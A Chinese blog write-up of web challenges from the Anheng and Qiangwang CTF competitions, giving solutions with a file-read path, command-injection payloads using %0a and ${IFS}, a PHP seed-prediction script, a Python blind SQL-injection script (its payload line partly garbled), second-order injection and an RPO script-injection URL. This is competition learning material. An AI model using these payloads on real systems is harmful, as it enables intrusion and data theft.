安恒赛php_安恒&强网杯部分web

2ff34e647e2e3cdfd8dca593e17d9b0a.png

打了两天的比赛,第一个专心打了强网杯emm 题目是真的难 第二天去安恒杯水了水 还是安恒的题目比较友好,强网杯的web+pwn真的无力。。

简单总结一下吧。

安恒杯

题目名字想不起来了。

WebScan

第一个给了个扫描报告,结合题意可以知道是利用文件读取漏洞,直接去读apache2的配置文件。

file=/etc/httpd/conf/httpd.conf

web2

考点是命令执行+zip伪协议+伪随机数预测文件名

没有截图,先是个ping命令,0.1.0.1%0als

这里我随便弄了个错误的ip这样可以不用进入ping循环了,读到you_find_upload.php文件,可以看到一个上传页面,主要是

time() % rand(1,100000)%rand(1000,9000)文件命名是这个,但是一开始没有配置好,有列目录漏洞,可以直接上传了看了upload目录下名字,后来修上了。1

2

3

4

5

6

7

8

9

10

11

12

13

14<?php

$a=0;

$k=0;

$myfile = fopen("testfile.txt", "w");

while(1){

$a=(time() % rand(1,100000)%rand(1000,9000));

mt_srand($a);

$txt=mt_rand().' '.mt_rand()."rn";

fwrite($myfile, $txt);

$k++;

if($k==100000) break;

}

写脚本预测下,直接去里面找,当然这样写的话不一定爆破到种子,调大一点就OK了。

然后结合zip伪协议,但是过滤了../,也就是说使用zip伪协议的时候没法直接使用相对路径来查找,但是在源代码里可以看到绝对路径,直接绝对路径来getshell。

艰难的bypass

这个考点是之前那个sprintf造成的引号逃逸,还有就是waf比较难饶,直接上脚本吧。1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17# -*- coding: UTF-8 -*-

import requests

url = ""

def check(payload):

postdata = {'username':payload,'passwd':'xx'}

r = requests.post(url,postdata).content

#print r

return "password error!" in r

password = ''

for i in xrange(32):

for j in range(45,127):

payload = "%1$' || id=2 && binary passwd

print payload

if check(payload):

password = password + chr(j-1)

break

print password

然后username=username=%1$' || id=2 && binary passwd

登录之后是一个命令执行,直接给出payload吧:

%0als${IFS}$(expr${IFS}substr${IFS}$PATH${IFS}1${IFS}1)

强网杯

Three hit

这道题目是个二次注入,注入点在age,可以16进制编码绕过限制。

直接union查询把数据带出来4bc2d937d56166113de59e7ed4a90981.png

Share your mind

这里是rpo攻击的,附文章一篇1http://blog.nsfocus.net/rpo-attack/

首先看到1http://39.107.33.96:20000?dd

不太清楚bot是怎么写的。0aef188ef2942d5c4ef87b40661174e7.png

但是开着httponly,达不到cookie,后来经表哥指导知道是rpo攻击,

首先写入js代码,另标题为空绕过h1的坑

然后构造1http://39.107.33.96:20000/index.php/view/article/29593/..%2F..%2F..%2F..%2Findex.php

这里因为解析的问题导致漏洞的产生,客户端是把..%2F..%2F..%2F..%2Findex.php当成了一个文件,而服务端就一级一级往上跳了,相当于http://39.107.33.96:20000/index.php

但是在加载http://39.107.33.96:20000/index.php的时候会调用两个js文件。

路径是static/article/xxx啥啥啥的,但是客户端把..%2F..%2F..%2F..%2Findex.php解析成一个文件,也就是在http://39.107.33.96:20000/index.php/view/article/29593/这个目录调用相对路径的js代码,拼接起来相当于1http://39.107.33.96:20000/index.php/view/article/29593/static/article/xxx30af84f957e31b326194b99123a713e3.png

这样的话也就加载了我们写入的js代码,既然到了这里,那么就可以随心所欲了。

python1464d20f1a3a3b5d5d800dd3b8ddaf34e.png39dcabfe35ac2c64f43c706d564c462f.png

二次注入,构造闭合插入多条数据,直接在留言板找到flag。

web签到

主要是三层的md5绕过,前两层都可以直接数组绕过,最后一个利用两个文件的md5相同,但是实际bin数据却不同来做。1https://natmchugh.blogspot.com/2014/10/how-i-made-two-php-files-with-same-md5.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值